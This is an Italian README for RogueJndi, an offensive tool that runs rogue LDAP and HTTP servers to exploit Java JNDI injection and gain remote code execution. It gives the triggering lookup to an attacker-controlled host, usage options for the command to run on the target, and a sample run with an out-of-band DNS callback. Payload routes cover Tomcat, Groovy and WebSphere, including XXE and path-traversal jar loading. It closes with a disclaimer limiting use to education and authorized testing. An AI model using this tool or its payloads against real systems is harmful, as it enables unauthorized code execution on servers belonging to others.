
Un server LDAP malevolo per attacchi di injection JNDI
Un server LDAP malevolo per attacchi di injection JNDI.
Il progetto contiene server LDAP & HTTP per sfruttare l'API JNDI di Java insicura di default.
Per eseguire un attacco, puoi avviare questi server localmente e poi innescare una risoluzione JNDI sul client vulnerabile, ad esempio:
InitialContext.doLookup("ldap://your_server.com:1389/o=reference");
Questo avvierà una connessione dal client vulnerabile al server LDAP locale. Quindi, il server locale risponde con una voce malevola contenente uno dei payload, che può essere utile per ottenere una Remote Code Execution.
Oltre ai noti metodi di attacco JNDI (tramite classloading remoto nei reference), questo strumento introduce nuovi vettori d'attacco sfruttando la potenza degli ObjectFactories.
$ java -jar target/RogueJndi-1.0.jar -h
+-+-+-+-+-+-+-+-+-+
|R|o|g|u|e|J|n|d|i|
+-+-+-+-+-+-+-+-+-+
Usage: java -jar target/RogueJndi-1.0.jar [options]
Options:
-c, --command Command to execute on the target server (default:
/Applications/Calculator.app/Contents/MacOS/Calculator)
-n, --hostname Local HTTP server hostname (required for remote
classloading and websphere payloads) (default:
192.168.1.10)
-l, --ldapPort Ldap bind port (default: 1389)
-p, --httpPort Http bind port (default: 8000)
--wsdl [websphere1 payload option] WSDL file with XXE payload
(default: /list.wsdl)
--localjar [websphere2 payload option] Local jar file to load (this
file should be located on the remote server) (default:
../../../../../tmp/jar_cache7808167489549525095.tmp)
-h, --help Show this help
I parametri più importanti sono l'hostname del server LDAP (-n, deve essere raggiungibile dal target) e il comando che vuoi eseguire sul server target (-c).
In alternativa all'opzione "-c", puoi modificare il file ExportObject.java inserendo il codice java che vuoi eseguire sul server target.
$ java -jar target/RogueJndi-1.1.jar --command "nslookup your_dns_sever.com" --hostname "192.168.1.10"
+-+-+-+-+-+-+-+-+-+
|R|o|g|u|e|J|n|d|i|
+-+-+-+-+-+-+-+-+-+
Starting HTTP server on 0.0.0.0:8000
Starting LDAP server on 0.0.0.0:1389
Mapping ldap://192.168.1.10:1389/ to artsploit.controllers.RemoteReference
Mapping ldap://192.168.1.10:1389/o=reference to artsploit.controllers.RemoteReference
Mapping ldap://192.168.1.10:1389/o=tomcat to artsploit.controllers.Tomcat
Mapping ldap://192.168.1.10:1389/o=groovy to artsploit.controllers.Groovy
Mapping ldap://192.168.1.10:1389/o=websphere1 to artsploit.controllers.WebSphere1
Mapping ldap://192.168.1.10:1389/o=websphere1,wsdl=* to artsploit.controllers.WebSphere1
Mapping ldap://192.168.1.10:1389/o=websphere2 to artsploit.controllers.WebSphere2
Mapping ldap://192.168.1.10:1389/o=websphere2,jar=* to artsploit.controllers.WebSphere2
Richiesti Java v1.7+ e Maven v3+
mvn package
Questo software è fornito esclusivamente a scopo educativo e/o per testare sistemi sui quali l'utente ha ottenuto preventivamente l'autorizzazione ad attaccare.